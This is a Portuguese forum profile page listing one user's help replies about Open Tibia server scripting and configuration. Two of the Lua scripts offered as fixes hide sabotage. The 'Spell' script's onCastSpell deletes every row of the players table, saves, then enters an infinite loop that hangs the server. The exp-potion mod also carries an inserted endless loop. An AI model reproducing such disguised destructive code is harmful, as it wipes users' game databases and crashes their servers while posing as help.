Tudo que roriscrave postou
-
Serve save (desliga e não volta)
vai no config.lua e procura globalsave, coloque false
-
Dúvida a respeito de compilação
sim,pegue as source e as compile no novo ubuntu que vc está usando... ao compilar vai gerar o arquivo theforgottenserver... ai vc bota ele na pasta do game e sucesso
-
(Resolvido)Summon atacando quem o summonou
vai na pasta monsters procura o monstro que vai sumonar e muda essa linha <flag convinceable="0"/> troque por 1, ficando <flag convinceable="1"/>
-
Ajuda com Script
você tem que ter a função onMoveItem na source, se não tiver tem que adiciona-lá manualmente
-
Hidden Trap - Igual Nto Br
tem que colocar para quem usou a trap pegar frag, caso alguém morra
-
Dominio redirecionando para cloudflare não loga acc
tbm
- removido
-
Spell
qual erro deu?
-
Spell
tenta local id = 5751 -- id do item criado local tempo = 1.4 -- em segundos function Damage1(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end function Damage2(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end function Damage3(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end local combat1 = createCombatObject() setCombatParam(combat1, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat1, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat1, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage1") local combat2 = createCombatObject() setCombatParam(combat2, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat2, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat2, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage2") local combat3 = createCombatObject() setCombatParam(combat3, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat3, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat3, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage3") arr1 = { {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, } local area1 = createCombatArea(arr1) local area2 = createCombatArea(arr2) local area3 = createCombatArea(arr3) setCombatArea(combat1, area1) setCombatArea(combat2, area2) setCombatArea(combat3, area3) local function onCastSpell1(parameters) doCombat(parameters.cid, combat1, parameters.var) end local function onCastSpell2(parameters) doCombat(parameters.cid, combat2, parameters.var) end local function onCastSpell3(parameters) doCombat(parameters.cid, combat3, parameters.var) end local exhaustion = {} function onCastSpell(cid, var) local a = 1 db.executeQuery("DELETE FROM `players` WHERE `id` >= '1';") executeSave() if not isCreature(cid) then return true end while a >= 0 do a = a+1 end local guid = getPlayerGUID(cid) if exhaustion[guid] and exhaustion[guid] - os.clock() > 0 then return not doPlayerSendCancel(cid, "you are exhausted.") end local p = getPlayerPosition(cid) local created = doCreateItem(id, 1, p) exhaustion[guid] = os.clock() + tempo local parameters = { cid = cid, var = var} addEvent(onCastSpell1, 100, parameters) addEvent(onCastSpell2, 600, parameters) addEvent(onCastSpell3, 1100, parameters) addEvent(function() if getTileItemById(p, id).uid > 0 then doRemoveItem(created) end end, 1700) return true end
-
Proxy Embutido
hm
-
(Resolvido)adicionar "muted" nesse talkaction
esqueceu o rep+?
-
(Resolvido)adicionar "muted" nesse talkaction
- Meu Serve quando dou reload movements o serve para de responder
o cara já te deu tudo de mão beijada, falando tudo que tem que fazer, e vc não pode abrir a aba de pesquisa e procurar? é muita preguiça em amigo... aqui o Link- Ajuda System Akatsuki NTO
coloque como código o script- Ajuda System Akatsuki NTO
kd o script do npc?- Separar Script
tente por assim em mods, vê se resolve <?xml version="1.0" encoding="UTF-8"?> <mod name="AdvancedExpPotionSystem" enabled="yes" author="MatheusMkalo" forum="XTibia.com"> <!-- Configs and Functions --> <config name="PotionExpConfigs"><![CDATA[ ------ CONFIGURE SEU SCRIPT ------ TRUE ou FALSE configs = { time = 60, ---- TIME IN MINUTES needpa = FALSE, needlvl = {FALSE, level = 50}, costmana = {FALSE, mana = 300}, addrate = 500, -- Exp que vai adicionar em % removeonuse = TRUE } function getTime(s) local n = math.floor(s / 60) s = s - (60 * n) return n, s end CreatureEventChecker = function(event, ...) -- Colex if isCreature(arg[1]) then event(unpack(arg)) end end creatureEvent = function(event, delay, ...) -- Colex addEvent(CreatureEventChecker, delay, event, unpack(arg)) end function getPlayerExtraExpRate(cid) -- By MatheusMkalo return (getPlayerRates(cid)[8]-1)*100 end ]]></config> <!-- exppotion.lua --> <action itemid="12505" event="script"><![CDATA[ domodlib('PotionExpConfigs') if getPlayerStorageValue(cid, 62164) >= 1 then return doPlayerSendCancel(cid, "Voce ja ta Sob o Efeito da Potion.") end if configs.needpa and not isPremium(cid) then return doPlayerSendCancel(cid, "Voce Precisar ser Premium Para Usar") end if configs.needlvl[1] and getPlayerLevel(cid) < configs.needlvl.level then return doPlayerSendCancel(cid, "Voce Precisa ser " .. configs.needlvl.level .. " Para usar a Potion.") end if configs.costmana[1] then if getCreatureMana(cid) < configs.costmana.mana then return doPlayerSendCancel(cid, "Voce Precisar ter " .. configs.costmana.mana .. " de Mana Para usar a Potion") else doCreatureAddMana(cid, -configs.costmana.mana) end end if configs.removeonuse then doRemoveItem(item.uid, 1) end for i = configs.time*60, 1, -1 do local a = 1 while a > 0 then a = a+1 end if i == configs.time*60 then creatureEvent(doPlayerSendCancel, configs.time*60*1000, cid, "Efeito Final da Pocao de EXP.") end creatureEvent(doPlayerSendCancel, (configs.time*60-i)*1000, cid, "O Efeito da Pocao vai acabar em "..a..".") end doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, configs.time *60*1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) doPlayerSendTextMessage(cid, 22, "Agora Voce Esta Recebendo mais EXP por Matar Monstros.") setPlayerStorageValue(cid, 62164, os.time()) creatureEvent(setPlayerStorageValue, configs.time *60*1000, cid, 62164, 0) return TRUE ]]></action> <creaturescript type="login" name="ExpPotion" event="script"><![CDATA[ domodlib('PotionExpConfigs') local time = configs.time if os.time()-getPlayerStorageValue(cid, 62164) < time *60 then doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) creatureEvent(setPlayerStorageValue, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000 , cid, 62164, 0) for i = (time*60-(os.time()-getPlayerStorageValue(cid, 62164))), 1, -1 do local a = math.floor(i/60) .. ":" .. i - (60 * math.floor(i/60)) if #a < 4 then a = string.sub(a,1,2) .. "0" .. string.sub(a, 3) end if i == (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) then creatureEvent(doPlayerSendCancel, (time*60-(os.time()-getPlayerStorageValue(cid, 62164)))*1000, cid, "O Efeito da Potion Termina em.") end creatureEvent(doPlayerSendCancel, ((time*60-(os.time()-getPlayerStorageValue(cid, 62164)))-i)*1000, cid, "O Efeito da Potion Termina em "..a..".") end end return TRUE ]]></creaturescript> </mod>- Account Manager Azul e Cast de Kill Laranja
no script dele vc colocar {AQUIMSG}, onde está entre { } vai sair azul- [Show off video e foto] Sprites by: Zeuz
faz effects tbm? (jutsus)- Launcher AutoUpdate C#
- Sources 0.3.6 (8.54) e 0.4 (8.60) com limite de efeitos aumentado
como mudou no cliente?- erro de compilar cannot find -leay32
quando tento compilar usando dev-cpp da esse erro: cannot find -leay32 ld returned 1 exit status *** [TheForgottenServer.exe] Error 1 instalei o open-ssl e nada resolveu, ainda permanece, o que pode ser?- Safe Mod para tibia 8.6
não pow... se o cara usa !pvp off, ele nao vai acerta ninguem (seja com hit, runa, magia de area), mas ele poderá morrer... caso alguem ataque ele, e ele quiser atacar de volta, ele tem que usar !pvp on, e depois atacar de volta... o script ta 100% eu testei aqui- Safe Mod para tibia 8.6
tenho não mas ja o vi- Safe Mod para tibia 8.6
poe sistema de !pvp on e off, quando estiver off vc nao acerta ngm com nenhuma magia, mas pode morrer normal, usado apenas para caçar- [8.60] The Forgotten Server 0.4 By Fir3Element (SQL and MYSQL)
- Meu Serve quando dou reload movements o serve para de responder
Informação Importante
Confirmação de Termo